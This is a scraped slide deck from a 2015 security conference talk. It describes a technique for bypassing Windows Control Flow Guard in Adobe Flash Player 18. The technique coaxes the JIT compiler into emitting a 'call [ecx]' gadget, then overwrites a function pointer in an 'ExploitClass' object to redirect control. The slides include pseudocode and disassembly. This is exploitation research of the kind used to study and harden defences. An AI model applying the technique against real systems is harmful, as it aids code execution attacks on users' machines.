22
Saint Petersburg 2015 Advanced CFG Bypass on Adobe Flash Player 18 and Windows 8.1 Yurii Drozdov Liudmila Drozdova Center of Vulnerability Research DEFCON Russia (DCG# 7812)

Advanced cfg bypass on adobe flash player 18 defcon russia 23

Embed Size (px)

Citation preview

Saint Petersburg

2015

Advanced CFG Bypass on Adobe Flash

Player 18 and Windows 8.1

Yurii Drozdov

Liudmila Drozdova

Center of Vulnerability Research

DEFCON Russia (DCG# 7812)

Background

CFG (Control Flow Guard) – indirect call validation

Detailed CFG description in many sources

Adobe Flash Player CFG since Windows 8.1 update 3

Adobe Flash CFG Bypass before June 2015– CoreSecurity

After June 2015 – this research

Experimental classclass ExploitClass {

function func1(arg1, arg2, … , argn) {

func2(arg1, arg2, …, argn);

}

function func2(arg1, arg2, … , argn) {

func3(arg1, arg2, …, argn )

}

function func3(arg1, arg2, … , argn) {

...

}

}

All methods of ExploitClass will be compiled by JIT compiler in machine code

JIT-generated function call from JIT

code (func1 calls func2)

56 push esi

50 push eax

51 push ecx

8bc8 mov ecx,eax

b840aa0f77 mov eax, LdrpValidateUserCallTarget (770faa40)

ffd0 call eax -> CFG check

59 pop ecx

58 pop eax

ffd0 call eax -> call of validated function (func2)

83c410 add esp,10h

Saving parameters in JIT code for JIT

functionInstructions, which are used for saving parameters can look like this

8b5de0 mov ebx,dword ptr [ebp-20h]

897d88 mov dword ptr [ebp-78h],edi

8b7de8 mov edi,dword ptr [ebp-18h]

89758c mov dword ptr [ebp-74h],esi

or this

8bbde8feffff mov edi,dword ptr [ebp-118h]

898df4feffff mov dword ptr [ebp-10Ch],ecx

8b8decfeffff mov ecx,dword ptr [ebp-114h]

89b5c0feffff mov dword ptr [ebp-140h],esi

Different opcodes!

Key points Usage one of the parameters of func2 as controlled address

Arguments are in stack in original state

Arguments sometimes can be duplicated in registers

One of argument can be saved in ecx

We can find and change func2 pointer in ExploitClass object

We can transfer control to any part of JIT function

CFGBitmap for allocated by NtAllocVirtualMemoryexecutable memory (JIT memory) has all ‘1’ bits.

Transfer control to EIP-change instruction in JIT code– in our case ecx-control-transfer instruction

CALL ECX generation in func2In JIT code call ecx doesn't exist normally, but we can try to generate it via:

one big instruction

two separate ones.

Call ecx opcode is FF D1.

We found following options in our experimental module

1. 33FF XOR EDI,EDI

D1F8 SAR EAX,1

2. 8B8D 04FFFFFF MOV ECX,DWORD PTR [EBP-FC]

D1E1 SHL ECX,1

3. 898D 70FFFFFF MOV DWORD PTR [EBP-90],ECX

D1EB SHR EBX,1

4. 8D51 FF LEA EDX,DWORD PTR DS:[ECX-1]

D1FE SAR ESI,1

5. C785 00FFFFFF D1000000 MOV DWORD PTR [EBP-100],0D1

2,3,5 – Looks like parameter saving code in JIT

Instructions with different opcodes for

saving parameters in JIT code

Different instructions can be used for saving parameters. For

example

C785 00FFFFFF 01000000 MOV DWORD PTR [EBP-100],1

C745 8C 01000000 MOV DWORD PTR [EBP-74],1

If in the instruction

MOV DWORD PTR [EBP-X], N

X> 0x80, first variant will be generated

X<= 0x80, second one will be generated

How to force Flash to use ‘proper’

parameter saving code ?

MOV DWORD PTR [EBP-X], N

X> 0x80, first variant will be generated

X<= 0x80, second one will be generated

We can influence on X in JIT function via local variables,

number of other functions calls inside JIT function, number

of their parameters.

We need to prepare func2 before call of func3 and force flash

to use fist variant of opcode

We added more local variables, additional calls etc.

MOV DWORD PTR [EBP-X],0D1h Attempt

function func2(arg1, arg2,...,argn) {

var localvar1;

var localvar2;

....

func3(arg1, arg2,...,0xD1,..., argn )

}

Result

MOV EBX,18C731Eh

XOR EBX,18C73CFh ; EBX == 0D1h

MOV DWORD PTR [EBP-X],EBX

Instead of

MOV DWORD PTR [EBP-X],0D1h

Fail

Alternative generation of call ecxUsing of two instructions

898D 70FFFFFF MOV DWORD PTR [EBP-90],ECX

D1EB SHR/SHL/… EBX,1

Attempt was

any_var1 = any_var2<<1

But instead of desired

D1E2 SHL EDX,1

we got the same instruction, but with alternative opcode (probably because it is easier to generate it).

C1 E2 01 SHL EDX, 1

Fail again

Alternative

Call [ecx] with opcode FF 11 is alternative

Let’s try to get

MOV DWORD PTR [EBP-X],11h

MOV DWORD PTR [EBP-X],11h Attempt

function func2(arg1, arg2 ..., argn) {

var localvar1;

var localvar2;

....

func3(arg1, arg2,...,0x11,... , argn)

}

Result

c78570ffffff11000000 mov dword ptr [ebp-90h],11h

Bingo!

Number obfuscation in JIT

Why we got

c78570ffffff11000000 mov dword ptr [ebp-90h],11h

?

0x11 is not big number for JIT compiler and shouldn't be

obfuscated. Obfuscation of numbers begins from 0x80.

Numbers less than 0x80 will not be obfuscated.

Call to controlled address

After generation of JIT func2, we have ready call [ecx].

After exploit execution we can find address of func2 inside

our object and change it to call [ecx] 's address in func2.

After all manipulations after call func2 from func1 we will

have transfer control to controlled address inside ecx with

CFG bypass.

126aed07 ff11 call dword ptr [ecx] ds:002b:42424242=????????

CFG Bypass

Links

http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-

control-flow-guard-in-windows10.pdf

http://www.powerofcommunity.net/poc2014/mj0011.pdf

https://blog.coresecurity.com/2015/03/25/exploiting-

cve-2015-0311-part-ii-bypassing-control-flow-guard-on-

windows-8-1-update-3/

http://cvr-data.blogspot.ru/2015/07/advanced-cfg-bypass-

on-adobe-flash.html

https://helpx.adobe.com/security/products/flash-

player/apsb15-11.html